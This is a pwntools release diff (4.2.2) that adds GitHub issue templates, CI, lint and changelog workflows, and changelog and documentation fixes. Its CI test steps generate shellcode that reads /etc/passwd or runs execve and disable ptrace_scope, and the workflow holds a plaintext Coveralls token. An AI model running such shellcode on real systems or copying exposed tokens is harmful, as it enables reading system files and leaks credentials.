Release 4.2.2

Closes #1690

.coveragerc

@@ -1,8 +1,11 @@
 [run]
 branch = True
+parallel = True
+concurrency = thread,multiprocessing
 omit =
     */constants/*
 source =
     pwn
     pwnlib
-    ~/.pwntools-cache/
+    ~/.pwntools-cache-2.7/
+    ~/.pwntools-cache-3.8/

.github/ISSUE_TEMPLATE/bug_report.md

@@ -0,0 +1,54 @@
+---
+name: Bug report
+about: Create a report to help us improve
+title: ''
+labels: backport-required, bug
+assignees: ''
+
+---
+
+Thanks for contributing to Pwntools!
+
+## Update Pwntools First
+
+When reporting an issue, be sure that you are running the latest released version of pwntools (`pip install --upgrade pwntools`).
+
+## Debug Output
+
+Having the extra debug output really helps us, and might help you diagnose the problem yourself.
+
+When submitting an issue that has output from Pwntools, make sure to run your script as shown below, to enable the extra debugging data.
+
+```sh
+$ python exploit.py DEBUG LOG_FILE=log.txt
+```
+
+You should see `[DEBUG]` statements that show what's happening behind the scenes:
+
+```
+[+] Starting local process '/bin/sh' argv=['sh'] : pid 16823
+[DEBUG] Sent 0x7 bytes:
+    'whoami\n'
+[DEBUG] Sent 0x5 bytes:
+    'exit\n'
+[+] Receiving all data: Done (11B)
+[DEBUG] Received 0xb bytes:
+    'crashheap\n'
+[*] Process '/bin/sh' stopped with exit code 0 (pid 16823)
+```
+
+## Verify on Ubuntu
+
+If possible, please verify that your issue occurs on 64-bit Ubuntu 18.04.  We provide a Dockerfile based on Ubuntu 18.04 via `docker.io` to make this super simple, no VM required!
+
+```sh
+# Download the Docker image
+$ docker pull pwntools/pwntools:stable
+
+# Boot the image
+$ docker run -it pwntools/pwntools:stable
+
+pwntools@7dc3ef409476:~$ python
+>>> from pwn import *
+>>> # Test your code here
+```

.github/ISSUE_TEMPLATE/feature_request.md

@@ -0,0 +1,18 @@
+---
+name: Feature request
+about: Suggest an idea for this project
+title: ''
+labels: feature
+assignees: ''
+
+---
+
+Thanks for contributing to Pwntools!   Ideas from the community help make Pwntools an amazing tool for everybody.
+
+If you've got an idea for a new feature, please provide information about:
+
+* What the feature does
+* Why the feature should exit
+* What tests should be included
+
+If you think you can write the feature yourself, please submit a Pull Request and we can review your changes!

.github/ISSUE_TEMPLATE/question.md

@@ -0,0 +1,18 @@
+---
+name: Question
+about: Ask us a question about Pwntools
+title: ''
+labels: question
+assignees: ''
+
+---
+
+Thanks for using Pwntools!  If you have a question, here are some tips that will make it easier for us to help you.
+
+## Check the Documentation
+
+Pwntools has REALLY extensive documentation.  Please check there first!  https://docs.pwntools.com
+
+## Debug Output
+
+If you're having an issue with an exploit, run your script with full debugging output, i.e. `python exploit.py DEBUG`.  This may help you to see what's happening under the hood, and the debug output will help to diagnose any issues you're encountering.

.github/PULL_REQUEST_TEMPLATE.md

@@ -25,3 +25,8 @@ You can always [change the branch][change] after you create the PR if it's again
 [contributing]: https://github.com/Gallopsled/pwntools/blob/dev/CONTRIBUTING.md
 [testing]: https://github.com/Gallopsled/pwntools/blob/dev/TESTING.md
 [change]: https://github.com/blog/2224-change-the-base-branch-of-a-pull-request
+
+## Changelog
+
+After creating your Pull Request, please add and push a commit that updates the changelog for the appropriate branch.  
+You can look at the existing changelog for examples of how to do this.

.github/workflows/changelog.yml

@@ -0,0 +1,29 @@
+name: Changelog
+on: [pull_request]
+env:
+  GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}
+
+jobs:
+  build:
+    strategy:
+      matrix:
+        os: [ubuntu-latest]
+    runs-on: ${{ matrix.os }}
+    timeout-minutes: 5
+    steps:
+    - uses: actions/checkout@v2
+      with:
+        fetch-depth: 0
+
+    - name: Check changelog for updates
+      run: |
+        if git log --stat ${GITHUB_BASE}..HEAD | grep CHANGELOG.md; then
+           echo 'Changelog updated :D'
+        else
+           if git log --stat ${GITHUB_BASE}..HEAD | grep '++\|--'; then
+              echo 'Major changes detected, changelog required!'
+              false
+           else
+              echo 'Minor changes detected, no changelog required!'
+           fi
+        fi

.github/workflows/ci.yml

@@ -0,0 +1,221 @@
+name: Continuous Integration
+on: [push, pull_request]
+
+jobs:
+  test:
+    strategy:
+      matrix:
+        python-version: [2.7, 3.8]
+        os: [ubuntu-latest]
+    runs-on: ${{ matrix.os }}
+    timeout-minutes: 30
+    steps:
+    - uses: actions/checkout@v2
+      with:
+        fetch-depth: 0
+
+    - name: Git History 2
+      run: git log --oneline --graph -10
+
+    - name: Cache for pip
+      uses: actions/cache@v1
+      id: cache-pip
+      with:
+        path: ~/.cache/pip
+        key: ${{ matrix.os }}-cache-pip
+
+    - name: Set up Python ${{ matrix.python-version }}
+      uses: actions/setup-python@v1
+      with:
+        python-version: ${{ matrix.python-version }}
+
+    - name: Verify tag against version
+      if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
+      env:
+        GITHUB_REF: ${{ github.event.ref }}
+      run: |
+        set -x
+        GITHUB_TAG=${GITHUB_REF#refs/tags/}
+        echo "$GITHUB_TAG" | grep -E '^[0-9.]*(beta[0-9])?$'
+        vsetup=$(grep -o "version\\s*=\\s*[\"'].*[\"'],$" setup.py | grep -o "[0-9][^\"']*")
+        vpwnlib=$(grep -o "__version__\\s*=\\s*[\"'].*[\"']$" pwnlib/version.py | grep -o "[0-9][^\"']*")
+        [ "$vsetup" = "$vpwnlib" ]
+        [ "$GITHUB_TAG" = "$vsetup" ]
+
+    - name: Detect whether java is needed
+      id: java-needed
+      env:
+        GITHUB_REF: ${{ github.event.ref }}
+        GITHUB_COMMIT_RANGE: ${{ github.event.before }}...${{ github.event.after }}
+      run: |
+        if echo "$GITHUB_REF" | grep -Eq 'staging|tags'; then
+          echo "Found release or important branch ($GITHUB_REF), forcing tests."
+        elif ! git show "$GITHUB_COMMIT_RANGE" >/dev/null; then
+          echo 'Incorrect commit range, forcing android tests.'
+        elif git log --stat "$GITHUB_COMMIT_RANGE" | grep -iE 'android|\<adb\>'; then
+          echo 'Found Android-related commits, forcing tests.'
+        else
+          # clear files that cause Android doctests
+          : > docs/source/adb.rst > docs/source/protocols/adb.rst
+          exit 0
+        fi
+        echo ::set-output name=need::openjdk-8-jre-headless
+
+    - name: Install Linux dependencies
+      env:
+        ANDROID_JRE: ${{ steps.java-needed.outputs.need }}
+      run: |
+        sudo apt-get update
+        sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \
+          ash bash-static dash ksh mksh zsh \
+          pandoc gdb gdbserver socat sshpass \
+          binutils-multiarch qemu-user-static \
+          binutils-aarch64-linux-gnu \
+          binutils-arm-linux-gnueabihf \
+          binutils-mips-linux-gnu \
+          binutils-powerpc-linux-gnu \
+          gcc-multilib \
+          libc6-dbg \
+          $ANDROID_JRE
+
+    - name: Install android avd
+      if:  steps.java-needed.outputs.need
+      run: |
+        USER=travis source travis/install.sh
+        set | egrep '^(ANDROID|PATH)' >.android.env
+
+    - name: Set up SSH
+      run: |
+        travis/ssh_setup.sh
+
+    - name: Install dependencies
+      run: |
+        pip install --upgrade pip
+        pip install --upgrade flake8 appdirs
+        python setup.py egg_info
+        pip install --upgrade --editable .
+
+    - name: Sanity checks
+      run:  PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
+
+    - name: Install documentation dependencies
+      run:  pip install -r docs/requirements.txt
+
+    - name: Disable broken tests
+      run: |
+        rm -f docs/source/elf/corefile.rst
+
+    - name: Manually install non-broken Unicorn
+      run:  pip install unicorn==1.0.2rc3
+
+    - name: Coverage doctests
+      run: |
+        source .android.env || :
+        echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope # required by some gdb doctests
+        PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest
+
+    - name: Coverage running examples
+      run: |
+        export TERM=linux
+        set -x
+        python travis/coverage_chdir.py examples/fmtstr examples/fmtstr/exploit.py
+        python travis/coverage_chdir.py examples/fmtstr examples/fmtstr/exploit2.py || : # can fail randomly?
+        coverage run examples/asm.py
+        coverage run examples/asm.py
+        coverage run examples/text.py
+        # for f in examples/sigreturn_corefile_*.py; do coverage run "$f"; done # XXX something is wrong
+
+    - name: Coverage running commandline tools
+      run: |
+        export TERM=linux
+        pwn() { ( set +x; cmd=$1; shift; PYTHONUNBUFFERED=1 exec coverage run -m pwnlib.commandline."$cmd" "$@" ) }
+        set -x
+
+        pwn cyclic 32
+        pwn cyclic -l 0x62616161
+        pwn cyclic -a ab
+        echo
+
+        pwn shellcraft --list |tail
+        pwn shellcraft -l --syscalls |tail
+        pwn shellcraft -l execve
+        pwn shellcraft --show i386.linux.loader_append
+        pwn shellcraft -f asm --color amd64.linux.sh
+        pwn shellcraft -f elf amd64.linux.syscalls.exit 0 </dev/null |pwn hex
+        pwn shellcraft -f i   --color amd64.linux.cat /etc/passwd </dev/null
+        pwn shellcraft -f c   amd64.linux.syscalls.exit 0 </dev/null
+        pwn shellcraft -f str aarch64.linux.sh </dev/null
+        pwn shellcraft -abr -f elf -o /dev/null amd64.linux.cat /etc/passwd </dev/null
+        pwn shellcraft -nzr thumb.linux.syscalls.execve /bin/cat '["/bin/cat", "/etc/os-release"]' </dev/null
+        pwn shellcraft -fp aarch64.trap
+
+        pwn disasm --color ff3424c3ebfe
+        pwn asm -f hex nop
+
+        pwn hex abcd
+        pwn unhex 4141 4141
+
+        cat /dev/urandom | pwn phd --color -c 256 -s 2
+        pwn phd -l 0x3d --color=always /etc/os-release
+
+        pwn checksec /bin/bash
+
+        pwn errno 2
+        pwn errno -1
+        pwn errno EADDRINUSE
+
+        pwn constgrep -c freebsd -m ^PROT_ '3 + 4'
+        pwn constgrep ^MAP_ 0
+        pwn constgrep -e O_RDWR
+
+    - name: Build source and wheel distributions
+      run: |
+        python setup.py sdist
+        python setup.py bdist_wheel --universal
+
+    - uses: actions/upload-artifact@v2
+      with:
+        name: packages
+        path: dist/
+
+    - name: Upload coverage to coveralls.io
+      run: |
+        coverage combine
+        COVERALLS_REPO_TOKEN=PP20MEgztXIQJJTguQwe2jeCh6Bm4lkbv coveralls
+
+  staging-merge:
+    runs-on: ubuntu-latest
+    if: github.repository_owner == 'Gallopsled' && github.event_name == 'push' && startsWith(github.event.ref, 'refs/heads/') && endsWith(github.event.ref, '-staging')
+    needs: test
+    steps:
+    - uses: actions/checkout@v2
+      with:
+        fetch-depth: 20
+    - name: Push changes to protected branch
+      env:
+        GITHUB_REF: ${{ github.event.ref }}
+      run: |
+        BRANCH=${GITHUB_REF#refs/heads/}
+        TARGET=${BRANCH%-staging}
+        git branch -f "$TARGET"
+        git push origin "$TARGET"
+
+  pypi:
+    runs-on: ubuntu-latest
+    if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
+    needs: test
+    steps:
+    - name: Download artifacts
+      uses: actions/download-artifact@v2
+      with:
+        name: packages
+        path: dist
+
+    - name: Publish package
+      uses: pypa/[email protected]
+      with:
+        user: __token__
+        password: ${{ secrets.pypi_password }}
+
+    - if: failure()
+      run: ls -R

.github/workflows/lint.yml

@@ -0,0 +1,33 @@
+name: Lint
+on: [push, pull_request]
+
+jobs:
+  lint:
+    strategy:
+      matrix:
+        python-version: [3.8]
+        os: [ubuntu-latest]
+    runs-on: ${{ matrix.os }}
+    timeout-minutes: 30
+    steps:
+    - uses: actions/checkout@v2
+      with:
+        fetch-depth: 0
+
+    - name: Cache for pip
+      uses: actions/cache@v1
+      id: cache-pip
+      with:
+        path: ~/.cache/pip
+        key: ${{ matrix.os }}-cache-pip
+
+    - name: Set up Python ${{ matrix.python-version }}
+      uses: actions/setup-python@v1
+      with:
+        python-version: ${{ matrix.python-version }}
+
+    - name: Lint
+      run: |
+        pip install flake8
+        flake8 . --count --select=E9,F63,F7 --show-source --statistics --exclude=android-?dk  # TODO: Add F82
+        flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --exclude=pwnlib/constants,android-?dk,.git,__pycache__

.github/workflows/merge-conflict.yml

@@ -0,0 +1,28 @@
+name: Check for merge markers
+on: [pull_request]
+env:
+  GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}
+
+jobs:
+  mergecheck:
+    strategy:
+      matrix:
+        os: [ubuntu-latest]
+    runs-on: ${{ matrix.os }}
+    timeout-minutes: 5
+    steps:
+    - uses: actions/checkout@v2
+      with:
+        fetch-depth: 0
+
+    - name: Check for merge conflict markers commited
+      run: |
+        if git show ${GITHUB_BASE}..HEAD | grep -EB15 --color=always '^\+\+(>>>>>|=====|<<<<<)'; then
+            echo 'WARNING: Merge marker commits found in history.'
+            if git diff ${GITHUB_BASE}..HEAD | grep -EB15 --color=always '^\+(>>>>>|=====|<<<<<)'; then
+                echo 'ERROR: Merge markers still present! Do something!'
+                exit 1
+            fi
+        else
+            echo 'Congrats! All the merges you did were clean or resolved correctly :)'
+        fi

.gitignore

@@ -16,4 +16,4 @@ venv
 *.egg-info
 *.core
 .coverage
-.tox
+.coverage.*

.travis.yml

@@ -1,9 +1,7 @@
-dist: xenial
 language: python
 addons:
   apt:
     packages:
-    - gcc-multilib
     - lib32stdc++6
     - ash
     - bash
@@ -13,6 +11,8 @@ addons:
     - zsh
     - pandoc
     - gdb
+    - socat
+    - sshpass
     - binutils
     - qemu-user-static
     - binutils-multiarch
@@ -20,15 +20,19 @@ addons:
     - binutils-arm-linux-gnueabihf
     - binutils-mips-linux-gnu
     - binutils-powerpc-linux-gnu
+    - bash-static
 cache:
     - pip
     - directories:
         - usr
         - /home/travis/virtualenv/python2.7.15/lib/python2.7/site-packages/
         - /home/travis/virtualenv/python2.7.15/bin/
+        - /home/travis/virtualenv/python3.8.*/lib/python3.8/site-packages/
+        - /home/travis/virtualenv/python3.8.*/bin/
+        - docs/build/doctest/.doctrees
 python:
-  - "2.7.15"
-  - "3.6"
+  - "2.7"
+  - "3.8"
 before_install:
   - echo $-
   - source travis/install.sh
@@ -36,7 +40,7 @@ before_install:
   - echo $-
 install:
   - pip install --upgrade pip
-  - pip install --upgrade appdirs # https://github.com/ActiveState/appdirs/issues/89#issuecomment-282326570
+  - pip install --upgrade flake8 appdirs # https://github.com/ActiveState/appdirs/issues/89#issuecomment-282326570
   - python setup.py egg_info      # pypa/pip#6275
   - pip install --upgrade --editable .
   - pip install --upgrade --requirement docs/requirements.txt
@@ -45,8 +49,13 @@ before_script:
   - PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
   - PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
   - PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
+  - sudo sh -c "echo 0 > /proc/sys/kernel/yama/ptrace_scope"
 script:
+  # stop the build if there are Python syntax errors or undefined names
+  - flake8 . --count --select=E9,F63,F7 --show-source --statistics --exclude=android-?dk  # TODO: Add F82
+  # exit-zero treats all errors as warnings.  The GitHub editor is 127 chars wide
   - PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest
+  - coverage combine
 after_success:
   - coveralls
   - source travis/update_demo.sh

CHANGELOG.md

@@ -9,10 +9,20 @@ The table below shows which release corresponds to each branch, and what date th
 
 | Version          | Branch   | Release Date           |
 | ---------------- | -------- | ---------------------- |
-| [4.2.0](#420)    | `dev`    | Feb 10, 2020 (planned)
-| [4.1.0](#410)    | `beta`   | Jan 30, 2020 (planned)
-| [4.0.0](#400)    | `stable` | Jan 09, 2020
+| [4.4.0](#440)    | `dev`    | Sep 1, 2020 (planned)
+| [4.3.0](#430)    | `beta`   | Aug 1, 2020 (planned)
+| [4.2.0](#420)    | `stable` | Jul 3, 2020 (planned)
+| [4.1.7](#417)    |          | Jun 30, 2020
+| [4.1.5](#415)    |          | Jun 27, 2020
+| [4.1.4](#414)    |          | Jun 26, 2020
+| [4.1.3](#413)    |          | Jun 23, 2020
+| [4.1.2](#412)    |          | Jun 5, 2020
+| [4.1.1](#411)    |          | Jun 3, 2020
+| [4.1.0](#410)    |          | May 8, 2020
+| [4.0.1](#401)    |          | Jan 22, 2020
+| [4.0.0](#400)    |          | Jan 09, 2020
 | [3.13.0](#3130)  |          | Nov 5, 2019
+| [3.12.2](#3122)  |          | Jan 8, 2019
 | [3.12.1](#3121)  |          | Sept 17, 2018
 | [3.12.0](#3120)  |          | Feb 22, 2018
 | [3.11.0](#3110)  |          | Jan 3, 2018
@@ -45,13 +55,95 @@ The table below shows which release corresponds to each branch, and what date th
 | [3.0.0](#300)    |          | Aug 20, 2016
 | [2.2.0](#220)    |          | Jan 5, 2015
 
-## 4.2.0 (`dev`)
+## 4.4.0 (`dev`)
 
-To be released on Feb 10, 2020.
+- [#1616][1616] Fix `cyclic` cli for 64 bit integers
 
-## 4.1.0 (`beta`)
+[1616]: https://github.com/Gallopsled/pwntools/pull/1616
 
-To be released on Jan 30, 2020.
+## 4.3.0 (`beta`)
+
+- [#1576][1576] Add `executable=` argument to `ELF.search`
+- [#1584][1584] Add `jmp_esp`/`jmp_rsp` attribute to `ROP`
+- [#1592][1592] Fix over-verbose logging of process() environment
+- [#1593][1593] Colorize output of `pwn template`
+- [#1601][1601] Add `pwn version` command line tool
+- [#1605][1605] Add to `fiddling.hexdump` a way to suppress the total at the end
+- [#1613][1613] Permit `--password` for `pwn template`
+- [#1564][1564] Fix `asm()` and `disasm()` for PowerPC64, MIPS64, Sparc64
+- [#1621][1621] Permit negative values in flat() and fit()
+
+[1576]: https://github.com/Gallopsled/pwntools/pull/1576
+[1584]: https://github.com/Gallopsled/pwntools/pull/1584
+[1592]: https://github.com/Gallopsled/pwntools/pull/1592
+[1593]: https://github.com/Gallopsled/pwntools/pull/1593
+[1601]: https://github.com/Gallopsled/pwntools/pull/1601
+[1605]: https://github.com/Gallopsled/pwntools/pull/1605
+[1613]: https://github.com/Gallopsled/pwntools/pull/1613
+[1564]: https://github.com/Gallopsled/pwntools/pull/1564
+[1621]: https://github.com/Gallopsled/pwntools/pull/1621
+
+## 4.2.1 (`stable`)
+
+- [#1625][1625] GDB now properly loads executables with QEMU
+- [#1663][1663] Change lookup algorithm of `adb.which`
+- [#1699][1699] Fix broken linux shellcraft templates
+
+[1625]: https://github.com/Gallopsled/pwntools/pull/1625
+[1699]: https://github.com/Gallopsled/pwntools/pull/1699
+
+## 4.2.0
+
+- [#1436][1436] Add ret2dlresolve automation
+- [fecf9f] tubes.ssh.process() no longer requires python 2 installed on remote (still requires python, though)
+- Miscellanous improvements to DynElf and fmtstr leaker (see examples/fmtstr/exploit2.py)
+- [#1454][1454] Support for windows console colors
+
+[1436]: https://github.com/Gallopsled/pwntools/pull/1436
+[fecf9f]: http://github.com/Gallopsled/pwntools/commit/fecf9f
+[1454]: https://github.com/Gallopsled/pwntools/pull/1454
+
+## 4.1.7 (`stable`)
+
+- [#1615][1615] Fix aarch64 pushstr and pushstr_array
+
+[1615]: https://github.com/Gallopsled/pwntools/pull/1454
+
+## 4.1.5
+
+- [#1517][1517] flat(..., filler=) is fixed for `str` values and Python2 `bytes`
+
+[1517]: https://github.com/Gallopsled/pwntools/pull/1517
+
+## 4.1.4
+
+- [#1698][1609] Fix issues in `packing.flat` with mis-ordred fields
+
+[1609]: https://github.com/Gallopsled/pwntools/pull/1609
+
+## 4.1.3
+
+- [#1590][1590] Fix `gdb.attach()` for `remote`, `listen`, `ssh` tubes
+  - Also fix `run_in_new_terminal` for Py2 unicode strings
+- [#1595][1595] Fix ssh.process(timeout=)
+
+[1590]: https://github.com/Gallopsled/pwntools/pull/1590
+[1595]: https://github.com/Gallopsled/pwntools/pull/1595
+
+## 4.1.2
+
+- Pwntools requires `six` v.1.12.0 or higher
+
+## 4.1.1
+
+- Fix PLT resolution by locking unicorn <1.0.2rc4 (#1538)
+- Fix wrong ELF/context unpack handling (c4c11a37)
+- Fix updating of ELF.functions addresses after changing ELF.address #1512 (#1513)
+- Update Corefile warnings and replace asserts with normal checks (#1526)
+- several py2-py3 issues (#1451)
+- Fix cyclic command
+
+## 4.1.0
 
 - [#1316][1316] Fix connect shellcraft in python 3
 - [#1323][1323] Fix issues related with debugging
@@ -60,10 +152,21 @@ To be released on Jan 30, 2020.
 - [#1241][1241] Launch QEMU with sysroot if specified
 - [#1218][1218] Support for FileStructure exploitation
 
-[1241]: https://github.com/Gallopsled/pwntools/pulls/1218
-[1218]: https://github.com/Gallopsled/pwntools/pulls/1218
+[1316]: https://github.com/Gallopsled/pwntools/pull/1316
+[1323]: https://github.com/Gallopsled/pwntools/pull/1323
+[1001]: https://github.com/Gallopsled/pwntools/pull/1001
+[1389]: https://github.com/Gallopsled/pwntools/pull/1389
+[1241]: https://github.com/Gallopsled/pwntools/pull/1241
+[1218]: https://github.com/Gallopsled/pwntools/pull/1218  
 
-## 4.0.0 (`stable`)
+## 4.0.1
+
+- [#1412][1412] `recvline_pred()` and similar do not reorder data
+- Bypass unicorn-engine/unicorn#1100 and unicorn-engine/unicorn#1170 requiring unstable package
+
+[1412]: https://github.com/Gallopsled/pwntools/pull/1412
+
+## 4.0.0
 
 - **Python 3 support! <3**
 - [#1402][1402] Fix serialtube in python 3
@@ -75,12 +178,13 @@ To be released on Jan 30, 2020.
 - [#1202][1202] Docker: Kill 14 layers in pwntools base images
 - [#1182][1182] shellcraft.dupio() for mips
 
-[1391]: https://github.com/Gallopsled/pwntools/pulls/1391
-[1317]: https://github.com/Gallopsled/pwntools/pulls/1317
-[1285]: https://github.com/Gallopsled/pwntools/pulls/1285
-[1216]: https://github.com/Gallopsled/pwntools/pulls/1216
-[1202]: https://github.com/Gallopsled/pwntools/pulls/1202
-[1182]: https://github.com/Gallopsled/pwntools/pulls/1182
+[1402]: https://github.com/Gallopsled/pwntools/pull/1402
+[1391]: https://github.com/Gallopsled/pwntools/pull/1391
+[1317]: https://github.com/Gallopsled/pwntools/pull/1317
+[1285]: https://github.com/Gallopsled/pwntools/pull/1285
+[1216]: https://github.com/Gallopsled/pwntools/pull/1216
+[1202]: https://github.com/Gallopsled/pwntools/pull/1202
+[1182]: https://github.com/Gallopsled/pwntools/pull/1182
 [76413f]: https://github.com/Gallopsled/pwntools/commit/76413f
 
 ## 3.13.0
@@ -91,32 +195,16 @@ To be released on Jan 30, 2020.
 - [#1277][1277] Fix timeout parameter passing in sendlineafter and other similar functions
 - [#1292][1292] Provide correct arch name to gdb for sparc64
 
-[1175]: https://github.com/Gallopsled/pwntools/pulls/1175
-[1204]: https://github.com/Gallopsled/pwntools/pulls/1355
-[1277]: https://github.com/Gallopsled/pwntools/pulls/1277
-[1292]: https://github.com/Gallopsled/pwntools/pulls/1292
-[1355]: https://github.com/Gallopsled/pwntools/pulls/1355
-
-## 3.12.1
-
-- [#1104][1104] Add `DynELF.dump()` for dumping remote ELF files
-- [#1101][1101] Set `context.os` via `context.binary`, useful for Android exploitation
-- [5fdc08][5fdc08] Work around broken `pidof` on Android
-- [63dfed][63dfed] Print warning when Corefile deletion fails instead of throwing an exception
-- [#1094][1094] Make hexdump output alignment more consistent
-- [#1096][1096] `flat()` and `fit()` are now the same function
-
-[1104]: https://github.com/Gallopsled/pwntools/pull/1104
-[1101]: https://github.com/Gallopsled/pwntools/pull/1101
-[1094]: https://github.com/Gallopsled/pwntools/pull/1094
-[1096]: https://github.com/Gallopsled/pwntools/pull/1096
-[5fdc08]: https://github.com/Gallopsled/pwntools/commit/5fdc08
-[63dfed]: https://github.com/Gallopsled/pwntools/commit/63dfed
+[1175]: https://github.com/Gallopsled/pwntools/pull/1175
+[1204]: https://github.com/Gallopsled/pwntools/pull/1204
+[1277]: https://github.com/Gallopsled/pwntools/pull/1277
+[1292]: https://github.com/Gallopsled/pwntools/pull/1292
+[1355]: https://github.com/Gallopsled/pwntools/pull/1355
 
 ## 3.12.2
 
-- [1242][1242] Use IntervalTree 2.xx, disallow use of 3.xx
-- [1243][1243] Fix a typo that caused an exception when executing a binary with `process()` which returns `-ENOEXEC` and the system does not have `qemu-user` binaries installed.
+- [#1242][1242] Use IntervalTree 2.xx, disallow use of 3.xx
+- [#1243][1243] Fix a typo that caused an exception when executing a binary with `process()` which returns `-ENOEXEC` and the system does not have `qemu-user` binaries installed.
 
 [1242]: https://github.com/Gallopsled/pwntools/pull/1242
 [1243]: https://github.com/Gallopsled/pwntools/pull/1243
@@ -134,7 +222,15 @@ To be released on Jan 30, 2020.
 - [#1131][1131] Add "libc-" to libc prefixes in `process` tubes
 - [#1125][1125] Fix a typo
 - [#1121][1121] Fix tests which were broken by an upstream Sphinx change
+- [#1104][1104] Add `DynELF.dump()` for dumping remote ELF files
+- [#1101][1101] Set `context.os` via `context.binary`, useful for Android exploitation
+- [5fdc08][5fdc08] Work around broken `pidof` on Android
+- [63dfed][63dfed] Print warning when Corefile deletion fails instead of throwing an exception
+- [#1094][1094] Make hexdump output alignment more consistent
+- [#1096][1096] `flat()` and `fit()` are now the same function
 
+[1198]: https://github.com/Gallopsled/pwntools/pull/1198
+[1191]: https://github.com/Gallopsled/pwntools/pull/1191
 [1159]: https://github.com/Gallopsled/pwntools/pull/1159
 [1162]: https://github.com/Gallopsled/pwntools/pull/1162
 [1150]: https://github.com/Gallopsled/pwntools/pull/1150
@@ -144,6 +240,12 @@ To be released on Jan 30, 2020.
 [1131]: https://github.com/Gallopsled/pwntools/pull/1131
 [1125]: https://github.com/Gallopsled/pwntools/pull/1125
 [1121]: https://github.com/Gallopsled/pwntools/pull/1121
+[1104]: https://github.com/Gallopsled/pwntools/pull/1104
+[1101]: https://github.com/Gallopsled/pwntools/pull/1101
+[1094]: https://github.com/Gallopsled/pwntools/pull/1094
+[1096]: https://github.com/Gallopsled/pwntools/pull/1096
+[5fdc08]: https://github.com/Gallopsled/pwntools/commit/5fdc08
+[63dfed]: https://github.com/Gallopsled/pwntools/commit/63dfed
 
 ## 3.12.0
 

README.md

@@ -2,7 +2,7 @@
 ![pwntools logo](https://github.com/Gallopsled/pwntools/blob/stable/docs/source/logo.png?raw=true)
 
 [![Docs](https://readthedocs.org/projects/pwntools/badge/?version=stable)](https://docs.pwntools.com/)
-[![PyPI](https://img.shields.io/badge/pypi-v3.13.0-green.svg?style=flat)](https://pypi.python.org/pypi/pwntools/)
+[![PyPI](https://img.shields.io/pypi/v/pwntools?style=flat)](https://pypi.python.org/pypi/pwntools/)
 [![Travis](https://travis-ci.org/Gallopsled/pwntools.svg)](https://travis-ci.org/Gallopsled/pwntools)
 [![Coveralls](https://img.shields.io/coveralls/Gallopsled/pwntools/dev.svg)](https://coveralls.io/github/Gallopsled/pwntools?branch=dev)
 [![Twitter](https://img.shields.io/badge/twitter-pwntools-4099FF.svg?style=flat)](https://twitter.com/pwntools)
@@ -40,7 +40,7 @@ Most of the functionality of pwntools is self-contained and Python-only.  You sh
 apt-get update
 apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
 python3 -m pip install --upgrade pip
-python3 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools.git@dev3
+python3 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools.git@dev
 ```
 
 However, some of the features (assembling/disassembling foreign architectures) require non-Python dependencies.  For more information, see the [complete installation instructions here](https://docs.pwntools.com/en/stable/install.html).

docs/requirements.txt

@@ -7,6 +7,7 @@ paramiko>=1.15.2
 pip>=6.0.8
 pyelftools>=0.2.3
 pygments>=2.0
+pypandoc
 pyserial>=2.7
 requests>=2.5.1
 ropgadget>=5.3
@@ -14,4 +15,3 @@ sphinx
 sphinx_rtd_theme
 sphinxcontrib-napoleon
 sphinxcontrib-autoprogram
-tox>=1.8.1

docs/source/about.rst

@@ -47,7 +47,7 @@ This module is our "clean" python-code. As a rule, we do not think that
 importing :mod:`pwnlib` or any of the submodules should have any significant
 side-effects (besides e.g. caching).
 
-For the most part, you will also only get the bits you import. You for instance
+For the most part, you will also only get the bits you import. You for instance would
 not get access to :mod:`pwnlib.util.packing` simply by doing ``import
 pwnlib.util``.
 

docs/source/conf.py

@@ -13,6 +13,7 @@
 
 import os
 import doctest
+import signal
 import six
 import subprocess
 import sys
@@ -87,6 +88,9 @@ class stdout(object):
     def __setattr__(self, name, value):
         return setattr(sys.stdout, name, value)
 pwnlib.context.ContextType.defaults['log_console'] = stdout()
+
+github_actions = os.environ.get('USER') == 'runner'
+travis_ci = os.environ.get('USER') == 'travis'
 '''
 
 autoclass_content = 'both'
@@ -350,7 +354,7 @@ def linkcode_resolve(domain, info):
         if isinstance(val, (types.ModuleType, types.MethodType, types.FunctionType, types.TracebackType, types.FrameType, types.CodeType) + six.class_types):
             try:
                 lines, first = inspect.getsourcelines(val)
-                filename += '#L%d-%d' % (first, first + len(lines) - 1)
+                filename += '#L%d-L%d' % (first, first + len(lines) - 1)
             except (IOError, TypeError):
                 pass
 
@@ -374,42 +378,11 @@ if build_dash:
 
 # -- Customization to Sphinx autodoc generation --------------------------------------------
 import sphinx.ext.autodoc
-from sphinx.util.inspect import safe_getmembers, safe_getattr
 
 # Test hidden members (e.g. def _foo(...))
 def dont_skip_any_doctests(app, what, name, obj, skip, options):
     return False
 
-def get_object_members_all(self, want_all):
-    if want_all:
-        # if not hasattr(self.object, '__all__'):
-        #     for implicit module members, check __module__ to avoid
-        #     documenting imported objects
-        return True, safe_getmembers(self.object)
-    # else:
-    #     memberlist = self.object.__all__
-    #     # Sometimes __all__ is broken...
-    #     if not isinstance(memberlist, (list, tuple)) or not \
-        #        all(isinstance(entry, string_types) for entry in memberlist):
-    #         self.directive.warn(
-    #             '__all__ should be a list of strings, not %r '
-    #             '(in module %s) -- ignoring __all__' %
-    #             (memberlist, self.fullname))
-    #         # fall back to all members
-    #         return True, safe_getmembers(self.object)
-    else:
-        memberlist = self.options.members or []
-        ret = []
-        for mname in memberlist:
-            try:
-                ret.append((mname, safe_getattr(self.object, mname)))
-            except AttributeError:
-                self.directive.warn(
-                    'missing attribute mentioned in :members: or __all__: '
